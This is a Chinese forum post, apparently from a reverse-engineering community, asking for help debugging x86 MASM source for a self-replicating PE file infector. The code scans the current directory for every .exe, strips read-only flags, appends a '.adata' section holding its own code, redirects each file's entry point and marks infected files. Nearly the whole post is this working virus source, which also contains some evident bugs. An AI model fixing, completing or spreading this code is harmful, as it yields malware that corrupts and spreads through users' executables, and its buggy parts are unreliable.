照着罗云彬书中给exe文件添加代码的例子,自己写了一段程序,打算实现让程序自动搜索当前目录下所有exe文件,在之后追加一个节,把代码复制过去。
程序写完了,用ollydbg调试了一下被感染的程序,单步走的时候能成功运行,但如果直接运行,程序就不能正常执行。求人帮忙看一下程序。谢谢!
附件里是源代码以及用来感染的试验文件。
.586p
.model flat, stdcall
option casemap: none
;-------------------------------------------------
include windows.inc
;---------------------------------------------------------------------------;
;API declarations. ;
;---------------------------------------------------------------------------;
;kernel32.dll
_ProtoCreateFileA typedef proto :dword, :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCreateFileMappingA typedef proto :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCloseHandle typedef proto :dword
_ProtoFindFirstFileA typedef proto :dword, :dword
_ProtoFindNextFileA typedef proto :dword, :dword
_ProtoFindClose typedef proto :dword
_ProtoGetFileAttributesA typedef proto :dword
_ProtoLoadLibraryA typedef proto :dword
_ProtoMapViewOfFile typedef proto :dword, :dword, :dword, :dword, :dword
_ProtoSetFileAttributesA typedef proto :dword, :dword
_ProtoUnmapViewOfFile typedef proto :dword
;--------------------------------------------------------------;
_ApiCreateFileA typedef ptr _ProtoCreateFileA
_ApiCreateFileMappingA typedef ptr _ProtoCreateFileMappingA
_ApiCloseHandle typedef ptr _ProtoCloseHandle
_ApiFindFirstFileA typedef ptr _ProtoFindFirstFileA
_ApiFindNextFileA typedef ptr _ProtoFindNextFileA
_ApiFindClose typedef ptr _ProtoFindClose
_ApiGetFileAttributesA typedef ptr _ProtoGetFileAttributesA
_ApiGetFileSize typedef ptr _ProtoGetFileSize
_ApiLoadLibraryA typedef ptr _ProtoLoadLibraryA
_ApiMapViewOfFile typedef ptr _ProtoMapViewOfFile
_ApiSetFileAttributesA typedef ptr _ProtoSetFileAttributesA
_ApiUnmapViewOfFile typedef ptr _ProtoUnmapViewOfFile
;-------------------EQU---------------------------
CODE_SIZE equ offset CODE_START - offset CODE_END
;-------------------Code--------------------------
.code
CODE_START equ this byte
;------------------Data---------------------------'
;kernel32.dll
szCreateFileA db 'CreateFileA', 0
szCreateFileMappingA db 'CreateFileMappingA', 0
szCloseHandle db 'CloseHandle', 0
szFindFirstFileA db 'FindFirstFileA', 0
szFindNextFileA db 'FindNextFileA', 0
szFindClose db 'FindClose', 0
szGetFileAttributesA db 'GetFileAttributesA', 0
szLoadLibraryA db 'LoadLibraryA', 0
szMapViewOfFile db 'MapViewOfFile', 0
szSetFileAttributesA db 'SetFileAttributesA', 0
szUnmapViewOfFile db 'UnmapViewOfFile', 0
db 0
align dword
_CreateFileA _ApiCreateFileA ?
_CreateFileMappingA _ApiCreateFileMappingA ?
_CloseHandle _ApiCloseHandle ?
_FindFirstFileA _ApiFindFirstFileA ?
_FindNextFileA _ApiFindNextFileA ?
_FindClose _ApiFindClose ?
_GetFileAttributesA _ApiGetFileAttributesA ?
_LoadLibraryA _ApiLoadLibraryA ?
_MapViewOfFile _ApiMapViewOfFile ?
_SetFileAttributesA _ApiSetFileAttributesA ?
_UnmapViewOfFile _ApiUnmapViewOfFile ?
hDllKernel32 dd ?
hDllUser32 dd ?
fileName db MAX_PATH dup (?), 0
szWindowsDir db MAX_PATH dup (?), 0
szSystemDir db MAX_PATH dup (?), 0
szStartupDir db MAX_PATH dup (?), 0
szCurrentDir db MAX_PATH dup (?), 0
szTemp db MAX_PATH dup (?), 0
NEW_SECTION_NAME db '.adata', 0
EXE_MASK db '*.exe', 0
FILE_ATTRI dd ?
hFile dd ?
hFindFile dd ?
hMap dd ?
mapAddress dd ?
orgFileAttri dd ?
findData WIN32_FIND_DATA <?>
;-------------------------SEHHandler----------------------------
_SEHHandler proc C _lpExceptionRecord, _lpSEH, _lpContext, _lpDispatcherContext
pushad
mov esi, _lpExceptionRecord
mov edi, _lpContext
assume esi: ptr EXCEPTION_RECORD, edi: ptr CONTEXT
mov eax, _lpSEH
push [eax + 0Ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi: nothing, edi: nothing
popad
mov eax, ExceptionContinueExecution
ret
_SEHHandler endp
;--------------------CheckPE----------------------------
_CheckPE proc _lpFile
local @dwReturn
mov @dwReturn, 0
pushad
assume fs: nothing
push ebp
lea eax, [ebx + offset _CheckPERet]
push eax
lea eax, [ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0], esp
;--------------Check PE------------------------------
mov esi, _lpFile
assume esi: ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _CheckPERet
.endif
add esi, [esi].e_lfanew
assume esi: ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _CheckPERet
.endif
inc @dwReturn
assume esi: nothing
_CheckPERet:
pop fs:[0]
add esp, 0Ch
popad
mov eax, @dwReturn
ret
_CheckPE endp
;-------------------------------------------------------
_GetKernelBase proc _dwKernelRet
local @dwReturn
pushad
mov @dwReturn, 0
call @F
@@: pop ebx
sub ebx, offset @B
assume fs: nothing
push ebp
lea eax, [ebx + offset _PageError]
push eax
lea eax, [ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0], esp
;-----------------------------------------
mov edi, _dwKernelRet
and edi, 0FFFF0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi + 003Ch]
.if word ptr [esi] == IMAGE_NT_SIGNATURE
mov @dwReturn, edi
.break
.endif
.endif
_PageError:
sub edi, 010000h
.break .if edi < 070000000h
.endw
pop fs:[0]
add esp, 0Ch
popad
mov eax, @dwReturn
ret
_GetKernelBase endp
;-------------------------------------------------
_GetApi proc _hModule, _lpszApi
local @dwReturn, @dwStringLength
pushad
mov @dwReturn, 0
assume fs: nothing
push ebp
lea eax, [ebx + offset _Error]
push eax
lea eax, [ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0], esp
;-----------------------------------------
mov edi, _lpszApi
mov ecx, -1
xor al, al
cld
repnz scasb
mov ecx, edi
sub ecx, _lpszApi
mov @dwStringLength, ecx
;------------------------------------------;
; esi -> IMAGE_EXPORT_DIRECTORY ;
;------------------------------------------;
mov esi, _hModule
add esi, [esi + 3Ch]
assume esi: ptr IMAGE_NT_HEADERS
mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress
add esi, _hModule
assume esi: ptr IMAGE_EXPORT_DIRECTORY
;-----------------------------------------
mov ebx, [esi].AddressOfNames
add ebx, _hModule
xor edx, edx
.repeat
push esi
mov edi, [ebx]
add edi, _hModule
mov esi, _lpszApi
mov ecx, @dwStringLength
repz cmpsb
.if ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx, 4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
;-----------------------------------------
@@:
sub ebx, [esi].AddressOfNames
sub ebx, _hModule
shr ebx, 1
add ebx, [esi].AddressOfNameOrdinals
add ebx, _hModule
movzx eax, word ptr [ebx]
shl eax, 2
add eax, [esi].AddressOfFunctions
add eax, _hModule
;-----------------------------------------
mov eax, [eax]
add eax, _hModule
mov @dwReturn, eax
_Error:
pop fs:[0]
add esp, 0Ch
assume esi: nothing
popad
mov eax, @dwReturn
ret
_GetApi endp
;-------------------------------------------------
CODE_SIZE equ CODE_END - CODE_START
;-------------------------------------------------
_NewEntry:
pushad
pushfd
call _Delta
_Delta: pop ebx
sub ebx, offset _Delta
invoke _GetKernelBase, [esp + 24h] ;Get return address
or eax, eax
jz _Ret ;Oops!
mov [ebx + hDllKernel32], eax
lea esi, [ebx + _CreateFileA]
lea edi, [ebx + szCreateFileA]
_FindNextAPI:
invoke _GetApi, [ebx + hDllKernel32], edi
mov [esi], eax ;Store API VA
xor al, al ;Get to next API name
@@: scasb
jnz @B
add esi, 4
mov al, [edi]
or al, al
jnz _FindNextAPI
;lea eax, [ebx + szCurrentDir]
;invoke [ebx + _GetCurrentDirectoryA], MAX_PATH, eax
assume fs: nothing
push ebp
push [ebx + _UnmapFile] ;Exception return address.
push [ebx + _SEHHandler]
xor eax, eax
push fs:[eax]
mov fs:[eax], esp
_FindFirstFile:
lea eax, [ebx + EXE_MASK]
lea esi, [ebx + findData]
invoke [ebx + _FindFirstFileA], eax, esi
mov [ebx + hFindFile], eax
;--------------------------------------------------------------------------;
; Open, map, check the file. ;
; esi --> WIN32_FIND_DATA ;
;--------------------------------------------------------------------------;
;input:
; esi: LPWIN32_FIND_DATA
_CheckFile:
assume esi: ptr WIN32_FIND_DATA
or [esi].nFileSizeHigh, 0
jnz _FindNextFile
test [esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY
jz @F
and [esi].dwFileAttributes, not FILE_ATTRIBUTE_READONLY
invoke [ebx + _SetFileAttributesA], addr [esi].cFileName, [esi].dwFileAttributes
or [esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY ;For restore later.
@@:
lea ecx, [esi].cFileName
call _OpenFile
inc eax
jz _RestoreAttributes
dec eax
mov [ebx + hFile], eax
mov ecx, [esi].nFileSizeLow
call _CreateMap
or eax, eax
jz _CloseMap
mov [ebx + hMap], eax
mov ecx, [ebx + findData].nFileSizeLow
xor ecx, ecx
call _MapFile
or eax, eax
jz _UnmapFile
mov [ebx + mapAddress], eax
;-----------------------------------------------------------------------------;
;Here checks the PE file and does some PE DIY, injects the code in, and... ;
;-----------------------------------------------------------------------------;
mov edi, eax
assume edi: ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
assume edi: ptr IMAGE_NT_HEADERS
cmp [edi].Signature, IMAGE_NT_SIGNATURE
jnz _UnmapFile
cmp [edi].OptionalHeader.LoaderFlags, 01010101h
je _UnmapFile
push [edi].OptionalHeader.FileAlignment
;----------------------------------------------------------------------------;
; Process PE file here. ;
;----------------------------------------------------------------------------;
; Close all here. ;
;----------------------------------------------------------------------------;
mov eax, [ebx + mapAddress]
push eax
call [ebx + _UnmapViewOfFile]
mov eax, [ebx + hMap]
push eax
call [ebx + _CloseHandle]
mov eax, [ebx + hFile]
push eax
call [ebx + _CloseHandle]
; Reopen all.
lea ecx, [esi].cFileName
call _OpenFile
inc eax
or eax, eax
jz _CloseFile
dec eax
mov [ebx + hFile], eax
mov ecx, [ebx + findData].nFileSizeLow
add ecx, CODE_SIZE
xchg ecx, eax
pop ecx
call _Align
xchg ecx, eax
push ecx
call _CreateMap
or eax, eax
jz _CloseMap
mov [ebx + hMap], eax
pop ecx
call _MapFile
or eax, eax
jz _UnmapFile
mov [ebx + mapAddress], eax
mov edx, eax
assume edx: ptr IMAGE_DOS_HEADER
add edx, [edx].e_lfanew
assume edx: ptr IMAGE_NT_HEADERS
; Add infected flag
mov [edx].OptionalHeader.LoaderFlags, 01010101h
assume edi: nothing
assume esi: nothing
_AddNewSection:
;-----------------------------------------------------------------------------;
; edx --> IMAGE_NT_HEADER ;
; edi --> New Section ;
; esi --> Origin last section ;
;-----------------------------------------------------------------------------;
mov edi, edx
add edi, sizeof IMAGE_NT_HEADERS
movzx eax, [edx].FileHeader.NumberOfSections
imul eax, eax, sizeof IMAGE_SECTION_HEADER
add edi, eax
; Check if enough space to add new section.
push edi
xor eax, eax
mov ecx, sizeof IMAGE_SECTION_HEADER
repz scasb
pop edi
jnz _UnmapFile
mov esi, edi
sub esi, sizeof IMAGE_SECTION_HEADER
assume edi: ptr IMAGE_SECTION_HEADER
assume esi: ptr IMAGE_SECTION_HEADER
; Revise IMAGE_NT_HEADER
inc [edx].FileHeader.NumberOfSections
push esi
_FindPointerToRawData:
mov eax, [esi].PointerToRawData
or eax, eax
jnz @F
sub esi, sizeof IMAGE_SECTION_HEADER
jmp _FindPointerToRawData
@@:
add eax, [esi].SizeOfRawData
mov [edi].PointerToRawData, eax
pop esi
mov eax, CODE_SIZE
mov ecx, [edx].OptionalHeader.FileAlignment
call _Align
mov [edi].SizeOfRawData, eax
mov ecx, [edx].OptionalHeader.SectionAlignment
call _Align
add [edx].OptionalHeader.SizeOfCode, eax
add [edx].OptionalHeader.SizeOfImage, eax
mov [edi].Characteristics, IMAGE_SCN_CNT_CODE or \
IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
; New section name.
push esi
push edi
mov ecx, 8
lea esi, NEW_SECTION_NAME
lea edi, [edi].Name1
rep movsb
pop edi
pop esi
; Revise the entry.
mov eax, [esi].Misc.VirtualSize
mov ecx, [edx].OptionalHeader.SectionAlignment
call _Align
add eax, [esi].VirtualAddress
mov [edi].VirtualAddress, eax
mov [edi].Misc.VirtualSize, CODE_SIZE
mov ecx, eax
add eax, (offset _NewEntry - offset CODE_START)
push [edx].OptionalHeader.AddressOfEntryPoint
mov [edx].OptionalHeader.AddressOfEntryPoint, eax
pop eax
sub eax, ecx
sub eax, offset _ToOldEntry
add eax, offset CODE_START
sub eax, 5
mov _OldEntry, eax
;mov ecx, [edi].SizeOfRawData
mov edi, [edi].PointerToRawData
assume edi: nothing
assume esi: nothing
;-----------------------------------------------------------------------------;
; Inject code. ;
;-----------------------------------------------------------------------------;
;STUB: Something not quite clear on calculating address in edi.
mov ecx, CODE_SIZE
add edi, [ebx + mapAddress]
lea esi, CODE_START
rep movsb
assume edx: nothing
;invoke _MessageBoxA, NULL, addr [ebx + findData].cFileName, offset szUser32, MB_OK
xor eax, eax
pop fs:[eax]
add esp, 0Ch
;-----------------------------------------------------------------------------;
_UnmapFile:
push [ebx + mapAddress]
call [ebx + _UnmapViewOfFile]
_CloseMap:
push [ebx + hMap]
call [ebx + _CloseHandle]
_CloseFile:
push [ebx + hFile]
call [ebx + _CloseHandle]
_RestoreAttributes:
lea eax, [ebx + findData].cFileName
push eax
lea eax, [ebx + findData].dwFileAttributes
push eax
call [ebx + _SetFileAttributesA]
_FindNextFile:
mov eax, [ebx + hFindFile]
invoke [ebx + _FindNextFileA], eax, esi
or eax, eax
jnz _CheckFile
mov eax, [ebx + hFindFile]
invoke [ebx + _FindClose], eax
_Ret: popfd
popad
_ToOldEntry:
db 0E9H
_OldEntry dd ?
;--------------------------------------------------------
;input:
; ecx - Address of file path
;output:
; eax - File handle if successful
_OpenFile proc
invoke [ebx + _CreateFileA], ecx, FILE_READ_DATA or FILE_WRITE_DATA,\
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL
ret
_OpenFile endp
;--------------------------------------------------------
;input:
; ecx - Size to map.
;output:
; eax - MapHandle if successful.
_CreateMap proc
xor eax, eax
push eax ;Mapping Object name
push ecx ;dwMaximumSizeLow
push eax ;dwMaximumSizeHigh
push PAGE_READWRITE
push eax ;lpAttributes
push dword ptr [ebx + hFile]
call [ebx + _CreateFileMappingA]
ret
_CreateMap endp
;--------------------------------------------------------
;invoke [ebx + _CreateFileA], ecx, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL,\
; OPEN_EXISTING, 0, NULL
;invoke [ebx + _CreateFileMappingA], eax, NULL, PAGE_READONLY, 0, 0, NULL
;invoke [ebx + _MapViewOfFile], [ebx + hMap], FILE_MAP_READ, 0, 0, 0
;input:
; ecx - Size of file to map.
;output:
; eax - MapAddress if successful.
_MapFile proc
push ecx
push 0
push 0
push FILE_MAP_READ or FILE_MAP_WRITE
push dword ptr [ebx + hMap]
call [ebx + _MapViewOfFile]
ret
_MapFile endp
;--------------------------------------------------------
;input:
; eax - Value to Align.
; ecx - Alignment factor.
;output:
; eax - Aligned value.
_Align proc
push edx
push eax
xor edx, edx
div ecx
pop eax
.if edx
sub ecx, edx
add eax, ecx
.endif
pop edx
ret
_Align endp
;-------------------------------------------------
CODE_END equ this byte
;-------------------------------------------------
end _NewEntry
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)